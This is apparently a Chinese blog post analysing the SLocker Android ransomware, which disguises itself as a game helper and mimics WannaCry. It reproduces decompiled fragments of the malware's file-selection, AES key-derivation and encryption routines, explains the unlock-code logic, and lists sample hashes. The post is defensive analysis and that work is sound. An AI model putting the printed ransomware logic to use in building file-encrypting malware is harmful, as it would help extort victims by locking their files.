Android malware样本SLocker Mobile Ransomware

样本下载:
http://appscan.io/app-report.html?id=d72ca5ca1e7dc6431c041bfc6d7e3f9bfa39959c
分析:
http://blog.trendmicro.com/trendlabs-security-intelligence/slocker-mobile-ransomware-starts-mimicking-wannacry/
下载之后校验一下hash,查看一下文件类型
这里写图片描述
然后如果直接把它当成zip文件解压,会有一些加固的东西,可以用jadx-gui打开这个apk格式的文件。
这里写图片描述

伪装成 “王者荣耀辅助”的名字和图标,模仿WannaCry的界面

他在AndroidManifest.xml文件中声明了两个带有启动入口属性的Activity
com.android.tencent.zdevs.bah.MainActivitycom.android.tencent.zdevs.bah.QQ1279525738
这里写图片描述
其中com.android.tencent.zdevs.bah.MainActivity默认是enabled,而com.android.tencent.zdevs.bah.QQ1279525738初始为禁用(android:enabled="false")状态。
它有这样的属性

android:name="com.android.tencent.zdevs.bah.QQ1279525738"
android:enabled="false" 
android:targetActivity="com.android.tencent.zdevs.bah.MainActivity"

当满足某个条件时,它会禁用掉MainActivity,而开启QQ1279525738。同时更换Lancher上的图标。

这些操作都是在MainActivity的入口onCreate()中进行的。这个方法的最后一步(当该做的事都做完了之后)完成的
这里写图片描述
这里写图片描述

加密文件的步骤

ransomware 安装之后,它会检查它之前有没有被安装果。如果没有,它就会生成一个随机数,然后把它存储在SharedPreferences(一个.xml文件)中,这个文件可以用来存储app的持久型数据。然后它就会找到设备的外部存储设备,然后开一个新线程。
新线程会查找外部存储器,然后查看满足某种条件的文件:
1. 文件完整路径的小写不能包含“/.”, “android”, “com.” and “miad”
2. 以external storage为root路径,查找其三层目录,从中找出包含“baidunetdisk”, “download” 或者“dcim”的目录。
3. 文件名必须包含“.”(即文件名必须有后缀) ,而且加密后的文件名的大小必须小于251个字节。
4. 文件本身大小必须在10 KB和50MB之间

可以看出ransomware 不加密系统文件,而主要着眼于默认下载目录的文件和图片,而且只会加密有后缀名的文件(文本,图片,视频)。
当找到满足这些条件的 文件的时候,这个线程就会使用ExecutorService(Java中用来执行异步task的API)来执行一个新的task。

部分逻辑:

ExecutorService executorService;
if (i2 == 0) {
                    try {
                        if (file3.isFile() && r10.equals(MainActivity.hz) && file3.toString().indexOf("/.") == -1 && file3.getName().indexOf(".") != -1) {
                            executorService = executorService;
                            AnonymousClass100000001 anonymousClass100000001 = r20;
                            AnonymousClass100000001 anonymousClass1000000012 = new AnonymousClass100000001(file3, str2, i2, context2);
                            executorService.execute(anonymousClass100000001);
                        } else if (file3.isDirectory() && file3.toString().indexOf("/.") == -1 && file3.toString().toLowerCase().indexOf("android") == -1 && file3.toString().toLowerCase().indexOf("com.") == -1 && file3.toString().toLowerCase().indexOf("miad") == -1 && !(jd(file3.toString()) >= 3 && file3.toString().toLowerCase().indexOf("baidunetdisk") == -1 && file3.toString().toLowerCase().indexOf("download") == -1 && file3.toString().toLowerCase().indexOf("dcim") == -1)) {
                            deleteDirWihtFile(file3, str2, i2, context2);
                        }
                    } catch (Exception e) {
                        Exception exception = e;
                    }
                } else {
                    if (file3.isFile() && !r10.equals(MainActivity.hz) && file3.toString().indexOf("/.") == -1 && file3.getName().indexOf(".") != -1 && file3.length() > ((long) 10240) && file3.length() <= ((long) 52428800)) {
                        StringBuffer stringBuffer = r20;
                        StringBuffer stringBuffer2 = new StringBuffer();
                        if (zjs(stringBuffer.append(file3.getName()).append(MainActivity.hz).toString()) <= 251) {
                            bb = 1 + bb;
                            executorService = executorService;
                            AnonymousClass100000002 anonymousClass100000002 = r20;
                            AnonymousClass100000002 anonymousClass1000000022 = new AnonymousClass100000002(file3, str2, i2, context2);
                            executorService.execute(anonymousClass100000002);
                        }
                    }
                    if (file3.isDirectory() && file3.toString().indexOf("/.") == -1 && file3.toString().toLowerCase().indexOf("android") == -1 && file3.toString().toLowerCase().indexOf("com.") == -1 && file3.toString().toLowerCase().indexOf("miad") == -1 && !(jd(file3.toString()) >= 3 && file3.toString().toLowerCase().indexOf("baidunetdisk") == -1 && file3.toString().toLowerCase().indexOf("download") == -1 && file3.toString().toLowerCase().indexOf("dcim") == -1)) {
                        deleteDirWihtFile(file3, str2, i2, context2);
                    }
                }

新的task会调用一个叫做getsss()的方法生成一个基于之前产生的随机数的cipher(秘钥)。这个方法计算这个随机数的md5值,然后然后从这个md5值的16进制表示中选择16个字符串。字符串生成后,ransomware 会将它传到SecretKeySpec用来构造最终用来对文件进行加密的AES key。

    public static final String getsss(String str) {
        char[] cArr = new char[]{'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'};
        try {
            byte[] bytes = str.getBytes();
            MessageDigest instance = MessageDigest.getInstance("MD5");
            instance.update(bytes);
            char[] cArr2 = new char[(r6 * 2)];
            int i = 0;
            for (byte b : instance.digest()) {
                int i2 = i;
                i++;
                cArr2[i2] = cArr[(b >>> 4) & 15];
                i2 = i;
                i++;
                cArr2[i2] = cArr[b & 15];
            }
            String str2 = r17;
            String str3 = new String(cArr2);
            return str2.toString().substring(8, 24);
        } catch (Exception e) {
            e.printStackTrace();
            return (String) null;
        }
    }

可能不同样本的 这个方法的内容不同?
那就再看看另一款相关的应用吧
王者荣耀前瞻版
http://appscan.io/app-report.html?id=ca2e7c66b9eedf95f51204cea8cd2e13ba2a5d93
除了大小有些不同之外(可能是新加了一些逻辑?)
这里写图片描述
注意这些r目录中的.acc文件不知道是干嘛的
这里写图片描述
用jadx-gui打开之后基本上还是同样的味道。
这里写图片描述
参考
http://blog.trendmicro.com/trendlabs-security-intelligence/slocker-mobile-ransomware-starts-mimicking-wannacry/
的分析中的图片

然而上面这个解密后的几行代码无法通过jadx-gui解密出来,
jadx出现了很多错误,
这里写图片描述
之后我人工判断,参考别人分析出来的代码,分析出大概这样的逻辑,

public static java.io.File encryptFile(String str1, String pFileName, String str3) {
    v6 = new FileInputStream(pFileName);
    v7 = new FileOutputStream();
    v15 = new javax.crypto.CipherInputStream(v6, sss.initAESCipher(str1, 1));

能找到这个CipherInputStream,但是并不能解密。
这里写图片描述

    /* JADX WARNING: inconsistent code. */
    /* Code decompiled incorrectly, please refer to instructions dump. */
    public static java.io.File encryptFile(java.lang.String r25, java.lang.String r26, java.lang.String r27) {
        /* JADX: method processing error */
/*
Error: java.lang.NullPointerException
    at jadx.core.dex.visitors.regions.ProcessVariables.addToUsageMap(ProcessVariables.java:284)
    at jadx.core.dex.visitors.regions.ProcessVariables.access$000(ProcessVariables.java:36)
    at jadx.core.dex.visitors.regions.ProcessVariables$CollectUsageRegionVisitor.processInsn(ProcessVariables.java:169)
    at jadx.core.dex.visitors.regions.ProcessVariables$CollectUsageRegionVisitor.processBlockTraced(ProcessVariables.java:135)
    at jadx.core.dex.visitors.regions.TracedRegionVisitor.processBlock(TracedRegionVisitor.java:23)
    at jadx.core.dex.visitors.regions.DepthRegionTraversal.traverseInternal(DepthRegionTraversal.java:53)
    at jadx.core.dex.visitors.regions.DepthRegionTraversal.traverseInternal(DepthRegionTraversal.java:58)
    at jadx.core.dex.visitors.regions.DepthRegionTraversal.traverseInternal(DepthRegionTraversal.java:58)
    at jadx.core.dex.visitors.regions.DepthRegionTraversal.traverseInternal(DepthRegionTraversal.java:58)
    at jadx.core.dex.visitors.regions.DepthRegionTraversal.traverse(DepthRegionTraversal.java:18)
    at jadx.core.dex.visitors.regions.ProcessVariables.visit(ProcessVariables.java:187)
    at jadx.core.dex.visitors.DepthTraversal.visit(DepthTraversal.java:31)
    at jadx.core.dex.visitors.DepthTraversal.visit(DepthTraversal.java:17)
    at jadx.core.ProcessClass.process(ProcessClass.java:37)
    at jadx.core.ProcessClass.processDependencies(ProcessClass.java:59)
    at jadx.core.ProcessClass.process(ProcessClass.java:42)
    at jadx.api.JadxDecompiler.processClass(JadxDecompiler.java:306)
    at jadx.api.JavaClass.decompile(JavaClass.java:62)
*/
        /*
        r2 = r25;
        r3 = r26;
        r4 = r27;
        r20 = 0;
        r20 = (java.io.FileInputStream) r20;
        r6 = r20;
        r20 = 0;
        r20 = (java.io.FileOutputStream) r20;
        r7 = r20;
        r20 = 0;
        r20 = (java.io.File) r20;
        r8 = r20;
        r20 = 0;
        r20 = (java.io.File) r20;
        r9 = r20;
        r20 = new java.io.File;  Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r24 = r20;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r21 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r22 = r3;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r21.<init>(r22);     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r9 = r20;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = new java.io.File;  Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r24 = r20;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r21 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r22 = r4;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r21.<init>(r22);     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r8 = r20;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r9;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r20.exists();  Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        if (r20 == 0) goto L_0x00cc;     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
    L_0x0044:
        r20 = r9;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r20.isFile();  Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        if (r20 == 0) goto L_0x00cc;     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
    L_0x004c:
        r20 = r8;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r20.getParentFile();   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r20.exists();  Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        if (r20 != 0) goto L_0x0062;     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
    L_0x0058:
        r20 = r8;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r20.getParentFile();   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r20.mkdirs();  Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
    L_0x0062:
        r20 = r8;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r20.createNewFile();   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = new java.io.FileInputStream;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r24 = r20;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r21 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r22 = r9;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r21.<init>(r22);     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r6 = r20;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = new java.io.FileOutputStream;  Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r24 = r20;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r21 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r22 = r8;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r21.<init>(r22);     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r7 = r20;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r2;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r21 = 1;     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = initAESCipher(r20, r21);   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r14 = r20;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = new javax.crypto.CipherInputStream;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r24 = r20;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r21 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r22 = r6;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r23 = r14;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r21.<init>(r22, r23);    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r15 = r20;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = 1024; // 0x400 float:1.435E-42 double:5.06E-321;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r0 = r20;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r0 = new byte[r0];   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r0;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r16 = r20;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = 0;     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r17 = r20;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
    L_0x00af:
        r20 = r15;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r21 = r16;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r20.read(r21);     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r24 = r20;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r21 = r24;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r17 = r21;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r21 = -1;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r0 = r20;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r1 = r21;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        if (r0 != r1) goto L_0x00db;     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
    L_0x00c7:
        r20 = r15;   Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20.close();     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
    L_0x00cc:
        r20 = r7;
        r20.close();     Catch:{ IOException -> 0x0120 }
    L_0x00d1:
        r20 = r6;
        r20.close();     Catch:{ IOException -> 0x0129 }
    L_0x00d6:
        r20 = r8;
        r2 = r20;
        return r2;
    L_0x00db:
        r20 = r7;
        r21 = r16;
        r22 = 0;
        r23 = r17;
        r20.write(r21, r22, r23);    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20 = r7;    Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        r20.flush();     Catch:{ FileNotFoundException -> 0x00ec, IOException -> 0x00f5 }
        goto L_0x00af;
    L_0x00ec:
        r20 = move-exception;
        r14 = r20;
        r20 = r14;
        r20.printStackTrace();   Catch:{ all -> 0x00fe }
        goto L_0x00cc;   Catch:{ all -> 0x00fe }
    L_0x00f5:
        r20 = move-exception;    Catch:{ all -> 0x00fe }
        r14 = r20;   Catch:{ all -> 0x00fe }
        r20 = r14;   Catch:{ all -> 0x00fe }
        r20.printStackTrace();   Catch:{ all -> 0x00fe }
        goto L_0x00cc;
    L_0x00fe:
        r20 = move-exception;
        r10 = r20;
        r20 = r7;
        r20.close();     Catch:{ IOException -> 0x010e }
    L_0x0106:
        r20 = r6;
        r20.close();     Catch:{ IOException -> 0x0117 }
    L_0x010b:
        r20 = r10;
        throw r20;
    L_0x010e:
        r20 = move-exception;
        r18 = r20;
        r20 = r18;
        r20.printStackTrace();
        goto L_0x0106;
    L_0x0117:
        r20 = move-exception;
        r18 = r20;
        r20 = r18;
        r20.printStackTrace();
        goto L_0x010b;
    L_0x0120:
        r20 = move-exception;
        r18 = r20;
        r20 = r18;
        r20.printStackTrace();
        goto L_0x00d1;
    L_0x0129:
        r20 = move-exception;
        r18 = r20;
        r20 = r18;
        r20.printStackTrace();
        goto L_0x00d6;
        */
        throw new UnsupportedOperationException("Method not decompiled: com.android.tencent.zdevs.bah.sss.encryptFile(java.lang.String, java.lang.String, java.lang.String):java.io.File");
    }

然而其中的关键的加解密文件的逻辑已被混淆
这里写图片描述
加密函数:
这里写图片描述
解密函数:
这里写图片描述
其中initAESCipher()函数:

    private static Cipher initAESCipher(String str, int i) {
        String str2 = str;
        int i2 = i;
        Cipher cipher = (Cipher) null;
        try {
            IvParameterSpec ivParameterSpec = r11;
            IvParameterSpec ivParameterSpec2 = new IvParameterSpec("QQqun 571012706 ".getBytes());
            IvParameterSpec ivParameterSpec3 = ivParameterSpec;
            SecretKeySpec secretKeySpec = r11;
            SecretKeySpec secretKeySpec2 = new SecretKeySpec(str2.getBytes(), "AES");
            SecretKeySpec secretKeySpec3 = secretKeySpec;
            cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
            cipher.init(i2, secretKeySpec3, ivParameterSpec3);
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        } catch (NoSuchPaddingException e2) {
            e2.printStackTrace();
        } catch (InvalidKeyException e3) {
            e3.printStackTrace();
        } catch (InvalidAlgorithmParameterException e4) {
            e4.printStackTrace();
        }
        return cipher;
    }

这里写图片描述
对满足条件的文件加密完成后,会在该文件名后面加后缀。后缀包括一个QQ号和一个用于生成cipher的随机数。

ransomware提供了三个支付ransom的方法,但是经过测试发现这三种方法都指向同一个二维码

扫描这个二维码即可通过QQ来付款。如果三天之内不付款,ransom就会增加,并且威胁后在一周后删除所有加密的文件。
ransomware说如果收到ransom,则会下发一个解密的key。然而我们通过分析发现,当受害者点击Decrypt按钮时,ransomware会将输入的值与MainActivity.m的值进行比较。而通过track MainActivity.m,我们发现这个值其实就是之前提到的那个随机数 + 520

下面是分析文章中提到的变种,逻辑发生了变化(不是简单的加520了)。
这里写图片描述
有些变种还加了壳

Indicators of Compromise (IOCS)

200d8f98c326fc65f3a11dc5ff1951051c12991cc0996273eeb9b71b27bc294d com.android.tencent.zdevs.bah 王者荣耀辅助
2ffd539d462847bebcdff658a83f74ca7f039946bbc6c6247be2fc62dc0e4060 com.android.tencent.zdevs.bah 千变语音
36f40d5a11d886a2280c57859cd5f22de2d78c87dcdb52ea601089745eeee494 com.android.tencent.zdevs.bah 王者荣耀前瞻版
c347e09b1489c5b8061828526f4ce778fda8ef7fb835255914eb3c9268a265bf com.android.tencent.zdevs.bah 千变语音秀
cb0a18bcc8a2c9a966d3f585771db8b2e627a7b4427a889191a93b3a1b261ba3 com.android.tencent.zdevs.bah 主流影视大全
参考这个系列的:
http://appscan.io/monitor.html?id=593f737b02723840264c3c5a
这里写图片描述
这几个系列的文件大小差不多
这里写图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值